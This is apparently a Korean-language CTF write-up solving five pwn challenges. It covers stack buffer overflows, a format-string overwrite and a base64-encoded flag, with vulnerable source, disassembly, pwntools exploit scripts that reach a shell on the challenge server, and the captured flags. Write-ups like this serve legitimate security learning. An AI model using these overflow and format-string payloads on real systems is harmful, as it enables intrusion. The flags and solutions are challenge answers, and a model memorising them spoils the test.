1. BASIC_BOF

```c
// gcc -o basic_bof basic_bof.c -fno-stack-protector -no-pie -mpreferred-stack-boundary=4
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_flag()
{
    execve("/bin/sh", NULL, NULL);
}

int main(int argc, char *argv[])
{
    printf("Input :");
    char buf[0x30];

    initialize();

    gets(buf);

    return 0;
}
```

```
[*] '/home/ubuntu/cau/basic_bof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

NX가 걸려있지만 문제 코드에 이미 쉘을 따주는 get_flag함수가 있고 gets함수로 입력을 받아 Stack Buffer Overflow가 발생하므로 이를 이용하면 쉘을 얻을 수 있다.

```
0x00000000004012e5 <+46>:    lea    rax,[rbp-0x30]
0x00000000004012e9 <+50>:    mov    rdi,rax
0x00000000004012ec <+53>:    mov    eax,0x0
0x00000000004012f1 <+58>:    call   0x401100 <gets@plt>
```

buf배열의 위치는 rbp – 0x30이다.

SFP까지 총 0x38만큼 dummy값으로 덮고 ret에 get_flag함수의 주소를 넣어주면 된다.

gdb-peda$ print get_flag

$1 = {<text variable, no debug info>} 0x401296 <get_flag>

-익스플로잇

```python
from pwn import*
p = remote("pwn.isangxcaution.xyz", 10010)
#p = process("./basic_bof")
get_shell = 0x401296

p.recvuntil(b":")
payload = b"A"*0x30
payload += b"B"*0x8
payload += p64(get_shell)

p.send(payload)

p.interactive()
```

```
$ id
uid=1000(basic_bof) gid=1000(basic_bof) groups=1000(basic_bof)
$ ls
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd home
$ ls
basic_bof
$ cd basic_bof
$ ls
basic_bof
basic_bof.c
flag
run.sh
$ cat flag
IxC{Basssick_is_God_Rapper_And_you_too}
$
```

2. Hello_IxC_Wrold!!

```
ubuntu@ubuntu:~/cau$ nc pwn.isangxcaution.xyz 10001
If you enter 1, you can get flag : 1

Hello! Flag is IxC{FL4G_Form4t_i5_IxC!!!}
```

nc로 접속해서 1누르면 flag가 따진다.

3. simple FSB

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char format[8]; // [rsp+0h] [rbp-40h] BYREF
  __int64 v5; // [rsp+8h] [rbp-38h]
  __int64 v6; // [rsp+10h] [rbp-30h]
  __int64 v7; // [rsp+18h] [rbp-28h]
  __int64 v8; // [rsp+20h] [rbp-20h]
  __int64 v9; // [rsp+28h] [rbp-18h]
  __int64 v10; // [rsp+30h] [rbp-10h]
  __int64 v11; // [rsp+38h] [rbp-8h]

  initialize(argc, argv, envp);
  *(_QWORD *)format = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  __isoc99_scanf("%64s", format);
  printf(format);
  if ( isAdmin == 2023 )
    system("/bin/sh");
  return 0;
}
```

Printf(format)으로인해 FSB가 터진다.

[*] '/home/ubuntu/cau/simple_fsb'

Arch: amd64-64-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x400000)

```
.bss:0000000000404070                 public isAdmin
.bss:0000000000404070 isAdmin         dq ?                    ; DATA XREF: main+7E↑r
.bss:0000000000404070 _bss            ends
.bss:0000000000404070
```

PIE가 안 걸려있으므로 isAdmin 주소 그대로 쓰면 되고 FSB를 통해 isAdmin값을 2023으로 덮으면 된다.

```
ubuntu@ubuntu:~/cau$ nc pwn.isangxcaution.xyz 10050
AAAAAAAA%6$p%7$p%8$p%9$p
AAAAAAAA0x41414141414141410x70243725702436250x7024392570243825(nil)
```

Format($rsp)의 위치는 6번째 인자이고 payload는 아래와 같다.

%2023c%8$nAAAAAAformat_addr

| 6$ || 7$ || 8$...

%2023c%8$n을 쓰는 과정에서 10바이트를 사용하므로 8바이트 단위를 맞추기 위해 A를 6개 넣고 그 다음 8번째 인자에 format_addr 을 넣어준다.

익스플로잇

```python
from pwn import *

p = remote("pwn.isangxcaution.xyz", 10050)

isAdmin = 0x0000000000404070

payload = b"%2023c"
payload += b"%8$n"
payload += b"A"*6
payload += p64(isAdmin)
p.sendline(payload)
p.interactive()
```

```
AAAAAAp@@$ id
uid=1000(simple_fsb) gid=1000(simple_fsb) groups=1000(simple_fsb)
$ cat flag
IxC{w0w_y0u_knw0_f5b??}
```

4. Start System

```
    case 2023
        ??????
        break;
```

```
    .     ΛΛ   ΛΛ  어라어라?
       ∩、゚Д゚,≡゚Д゚) 여기어디?
          ヽ        |)
            | _  |〜
              U U
=============================
1. 여긴 집이야
2. 여긴 하늘이야
3. 너의 마음 속!
=============================
(1~3) 중 올바른 선택지를 골라주세요
2023

Hello 2023!!!!
SXhDe0hhcHB5X05ld19ZZWFyfQ==

     Hint : base64!!
```

2023으로 입력하면 base64로 인코딩된 flag가 나온다.

```python
import base64
s = 'SXhDe0hhcHB5X05ld19ZZWFyfQ=='
s = base64.b64decode(s)
s.decode('ascii')
'IxC{Happy_New_Year}'
```

5. PalletTown

-main

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  if ( win_count > 0 )
    regend();
  puts("Welcome to PalletTown!!");
  print_rival();
  print_my_type();
  __isoc99_scanf("%d");
  if ( fight_rival(my_type, rival_type) )
  {
    ++win_count;
    puts("OK, Let's Go to Your Advantager!");
    printf("What is Your PocketMon Name?");
    __isoc99_scanf("%s");
  }
  else
  {
    printf("Uhm.. You have to training more...");
  }
  return 0;
}
```

-regend

```
int regend()
{
  puts("....Welcome to PalletTown");
  printf("You Are Regend.");
  return execve("/bin/sh", 0LL, 0LL);
}
```

-print_rival

```
int print_rival()
{
  unsigned int v0; // eax
  int result; // eax

  v0 = time(0LL);
  srand(v0);
  rival_type = rand() % 3;
  if ( !rival_type )
    return puts("Your Rival PoketMon is Pyree!!");
  if ( rival_type == 1 )
    return puts("Your Rival PoketMon is Bulbasaur");
  result = rival_type;
  if ( rival_type == 2 )
    return puts("Your Rival PoketMon is Squirtle");
  return result;
}
```

win_count가 0보다 커야지 flag를 따주는 regend함수를 실행시킬 수 있다.

if (fight_rival(my_type, rival_type)) 를 만족시키면 ++win_count로 인해 0보다 크게 할 수 있고, __isoc99_scanf("%s"); 로 인해 BOF를 발생시킬 수 있다.

```
_BOOL8 __fastcall fight_rival(int a1, int a2)
{
  if ( a2 == 2 )
  {
    return a1 == 2;
  }
  else
  {
    if ( a2 > 2 )
      goto LABEL_9;
    if ( a2 )
    {
      if ( a2 != 1 )
      {
LABEL_9:
        printf("error");
        exit(1);
      }
      return a1 == 1;
    }
    else
    {
      return a1 == 3;
    }
  }
}
```

Fight_rival함수는 위와 같은데, 정리하면

Rival로 Pyree가 나오면 Squirtle(3번)을 소환

Rival로 Bulbasaur가 나오면 Pyree(1번)을 소환

Rival로 Squirtle가 나오면 Bulbasaur(2번)을 소환

하면 if (fight_rival(my_type, rival_type)) 조건을 만족시킬 수 있다.

Flag를 따주는 regend함수가 위 조건문 보다 위에 있으므로 return to main기법을 이용해서 BOF를 통해 실행 흐름을 다시 main의 시작 부분으로 이동시키면 regend가 실행되면서 flag를 얻을 수 있다.

main함수 시작 주소

```
Dump of assembler code for function main:
   0x0000000000401498 <+0>:     endbr64
   0x000000000040149c <+4>:     push   rbp
```

Scanf로 입력받는 버퍼 위치

```
0x0000000000401546 <+174>:   lea    rax,[rbp-0x30]
0x000000000040154a <+178>:   mov    rsi,rax
0x000000000040154d <+181>:   lea    rdi,[rip+0xc0a]        # 0x40215e
0x0000000000401554 <+188>:   mov    eax,0x0
0x0000000000401559 <+193>:   call   0x401160 <__isoc99_scanf@plt>
```

rbp – 0x30

익스플로잇

```python
from pwn import*
bss = 0x0000000000404080

#p = process("./pt")
p = remote("pwn.isangxcaution.xyz", 10040)
e = ELF("./pt")

a = p.recvuntil(b": ")

if b"Pyree" in a:
    p.sendline(b"3")
elif b"Bulbasaur" in a:
    p.sendline(b"1")
else:
    p.sendline(b"2")

p.recvuntil("?")

payload = b"A"*0x30 + b"B"*0x8 + p64(0x401498)

p.sendline(payload)

p.interactive()
```

```
You Are Regend.$ id
uid=1000(pallettown) gid=1000(pallettown) groups=1000(pallettown)
$ ls
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd home
$ ls
pallettown
$ cd pallettown
$ ls
flag
pallettown
pallettown.c
run.sh
$ cat flag
IxC{Welc0me_7o_My_T43CH0_70Wn_!!_Enjoy_World@_!}
```